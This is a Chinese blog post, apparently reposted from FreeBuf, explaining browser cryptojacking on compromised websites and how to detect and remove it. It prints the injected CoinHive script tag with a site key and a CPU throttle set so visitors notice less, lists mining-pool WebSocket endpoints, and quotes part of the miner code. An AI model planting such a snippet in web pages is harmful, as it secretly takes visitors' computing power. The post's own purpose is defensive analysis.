美文网首页
如何避免网页被挖矿

如何避免网页被挖矿

作者: 夜谈_大猪蹄子 | 来源:发表于2018-10-11 17:13 被阅读38次

挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统中挖矿行为,网页主要在网站上挂上恶意的JS脚本,访问该网站即触发挖矿动作。目前很多网页挖矿主要以CoinHive的方式较多,一般挖矿用户以主动方式直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算Hash。前端挖矿用户以被动或主动方式在不知情或知情情况下利用浏览者的CPU或GPU。

访问恶意网站时CPU飙升,关闭网站后回复正常水平。

关闭之后:

0×2源代码分析

查看网页源代码可发现部分挖矿的代码,经过简单确定非手机浏览器后,即开始挖矿的动作。

浏览器进程占用了较大的CPU资源:

查看浏览器进程中,可以在内存地址中发现有挖矿地址的痕迹:

主要引用的挖矿代码的详细都在引用的JS脚本当中,仅使用70%的CPU资源。

<#script src="https://coinhive.com/lib/coinhive.min.js">

 var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7});

 if (!miner.isMobile() && !miner.didOptOut(14400)) {

 miner.start();

}

<#/script>

Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 当中的钱包地址;throttle:浏览器占用CPU的阈值,调节到合适的阈值时用户会很难注意到浏览器的算力被滥用。coinhive.min.js源码如下:

挖矿脚本使用WebSocket与矿池进行通信,部分的矿池结点如下:

wss://ws001.coinhive.com/proxy 

wss://ws002.coinhive.com/proxy 

wss://ws003.coinhive.com/proxy 

wss://ws004.coinhive.com/proxy 

wss://ws005.coinhive.com/proxy 

wss://ws006.coinhive.com/proxy 

wss://ws007.coinhive.com/proxy 

wss://ws008.coinhive.com/proxy 

wss://ws009.coinhive.com/proxy 

wss://ws010.coinhive.com/proxy 

wss://ws011.coinhive.com/proxy 

wss://ws012.coinhive.com/proxy

挖矿脚本允许自动调节线程数目:

this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));

this._stopOnInvalidOptIn=false;

this._waitingForAuth=false;

this._selfTestSuccess=false;

this._verifyThread=null;

this._autoThreads={

enabled:!!this.params.autoThreads,

interval:null,

adjustAt:null,

adjustEvery:1e4,

stats:{}

};

this._tab={

ident:Math.random()*16777215|0,

mode:CoinHive.IF_EXCLUSIVE_TAB,g

race:0,

waitReconnect:0,

lastPingReceived:0,

interval:null

};

1.根据页面后查看网页源代码,搜索有关于CoinHive,Miner等关键字可以快速定位到界面,使用记事本或者网页编辑器删除挖矿的关键代码。

2.使用目前一切所谓的浏览器进行拦截挖矿代码

3.访问小电影网站时候多留心自己的CPU性能。

*本文作者si1ence,转载来自FreeBuf.COM

相关文章

  • 如何避免网页被挖矿

    挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统...

  • 如何删除恶意挖矿程序

    近机器被挖矿程序占领,机器响应很慢,记录一下如何清理挖矿程序 1 执行top命令, 找到挖矿程序的进程号 2 执行...

  • 币优Coinex自动挖矿教程攻略

    币优挖矿神器(永久免费)现在已经支持Coinex的自动挖矿了!让你可以轻松地挖到CET。 使用网页版挖矿的时候必须...

  • 平面设计之放置页头图片

    在我们网页制作中,在页头放置图片会使网页更加美观,也可以避免网页只有大段文字的枯燥。那我们要如何将图片插在网页的页...

  • 闲置电脑JS挖矿赚零花钱

    如果你有闲置的PC电脑或者个人网站,现在可以通过JS来挖矿了。相关新闻报道。 什么是JS挖矿 JS挖矿,就是给网页...

  • ​如何避免网页中图片变形?

    最近有客户给我们反映说他们官网的产品图有严重的变形,当我接到这个消息的时候,我首先是想问题出在哪里。我查看了一下他...

  • scrapy爬取整个网页时如何避免链接失效

    scrapy爬取整个网页时如何避免链接失效 最近在使用scrapy爬取网页时遇到很多图片不能正常显示、a标签链接失...

  • 【数字货币】如何挖矿与投资挖矿?

    挖矿是什么? 挖矿是增加比特币货币供应的一个过程。挖矿同时还保护着比特币系统的安全,防止欺诈交易,避免“双重支付”...

  • 数字货币如何挖矿与投资挖矿?

    挖矿是什么? 挖矿是增加比特币货币供应的一个过程。挖矿同时还保护着比特币系统的安全,防止欺诈交易,避免“双重支付”...

  • 如何避免被狗咬

    有一句话叫狗咬你一口你何必反咬它一口。 我不知道大多数人理解出来是什么意思。在这里我只做一个正解和反解。 正解属于...

网友评论

      本文标题:如何避免网页被挖矿

      本文链接:https://www.haomeiwen.com/subject/poobaftx.html